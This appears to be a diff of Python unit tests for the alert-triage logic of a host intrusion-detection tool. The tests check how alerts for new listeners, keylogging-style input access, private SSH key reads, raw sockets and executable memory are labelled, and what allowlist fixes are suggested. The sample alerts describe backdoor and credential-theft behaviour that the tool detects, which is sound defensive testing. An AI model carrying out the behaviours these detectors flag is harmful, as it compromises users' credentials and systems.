self.assertTrue(entry.module.startswith("enodia_sentinel"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
|
@ -17,11 +17,15 @@ NONE = lambda p: False
|
|||
class TestNewListener(unittest.TestCase):
|
||||
def test_package_owned_is_fp(self):
|
||||
a = alert("new_listener", "new listening socket 1.2.3.4:6881 by comm=qbittorrent",
|
||||
pids=(50,))
|
||||
pids=(50,), sid=100013)
|
||||
a["classtype"] = "backdoor-listener"
|
||||
procs = [{"pid": 50, "exe": "/usr/bin/qbittorrent"}]
|
||||
v = triage_alert(a, procs, Config(), is_owned=OWNED)
|
||||
self.assertEqual(v.label, LIKELY_FP)
|
||||
self.assertIn("qbittorrent", v.suggest)
|
||||
self.assertIn("listener_allow_comms", v.suggest)
|
||||
self.assertIn('"qbittorrent"', v.suggest)
|
||||
self.assertIn("sid=100013", v.suggest)
|
||||
self.assertIn("classtype=backdoor-listener", v.suggest)
|
||||
|
||||
def test_loopback_is_fp(self):
|
||||
a = alert("new_listener", "new listening socket 127.0.0.1:9000 by comm=foo")
|
||||
|
|
@ -38,7 +42,9 @@ class TestNewListener(unittest.TestCase):
|
|||
a = alert("new_listener", "new listening socket 9.9.9.9:31337 by comm=weird",
|
||||
pids=(77,))
|
||||
procs = [{"pid": 77, "exe": "/tmp/weird"}]
|
||||
self.assertEqual(triage_alert(a, procs, Config(), is_owned=NONE).label, REVIEW)
|
||||
v = triage_alert(a, procs, Config(), is_owned=NONE)
|
||||
self.assertEqual(v.label, REVIEW)
|
||||
self.assertIn("listener_allow_comms", v.suggest)
|
||||
|
||||
|
||||
class TestOtherSignatures(unittest.TestCase):
|
||||
|
|
@ -68,6 +74,44 @@ class TestOtherSignatures(unittest.TestCase):
|
|||
a = alert("exec_rule.fileless-execution", "sid=100001 ...")
|
||||
self.assertEqual(triage_alert(a, [], Config(), is_owned=OWNED).label, REVIEW)
|
||||
|
||||
def test_input_snooper_suggests_comm_allowlist_with_context(self):
|
||||
a = alert("input_snooper",
|
||||
"pid=12 comm=input-remapper fd=7 has input device open: /dev/input/event0",
|
||||
sid=100032)
|
||||
a["classtype"] = "credential-keylogging"
|
||||
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||
self.assertEqual(v.label, REVIEW)
|
||||
self.assertIn("input_snooper_allow_comms", v.suggest)
|
||||
self.assertIn('"input-remapper"', v.suggest)
|
||||
self.assertIn("sid=100032", v.suggest)
|
||||
|
||||
def test_credential_access_suggests_comm_allowlist(self):
|
||||
a = alert("credential_access",
|
||||
"pid=22 comm=backupd fd=3 has private SSH key open: /home/a/.ssh/id_ed25519",
|
||||
sid=100033)
|
||||
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||
self.assertEqual(v.label, REVIEW)
|
||||
self.assertIn("credential_access_allow_comms", v.suggest)
|
||||
self.assertIn('"backupd"', v.suggest)
|
||||
|
||||
def test_stealth_network_suggests_comm_allowlist(self):
|
||||
a = alert("stealth_network",
|
||||
"raw socket state=UNCONN local=0.0.0.0:* peer=*:* comm=tcpdump pid=5",
|
||||
sid=100036)
|
||||
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||
self.assertEqual(v.label, REVIEW)
|
||||
self.assertIn("stealth_network_allow_comms", v.suggest)
|
||||
self.assertIn('"tcpdump"', v.suggest)
|
||||
|
||||
def test_memory_obfuscation_suggests_comm_allowlist(self):
|
||||
a = alert("memory_obfuscation",
|
||||
"pid=44 comm=jit-runtime writable+executable memory mapping perms=rwxp path=<anonymous>",
|
||||
sid=100039)
|
||||
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||
self.assertEqual(v.label, REVIEW)
|
||||
self.assertIn("memory_obfuscation_allow_comms", v.suggest)
|
||||
self.assertIn('"jit-runtime"', v.suggest)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue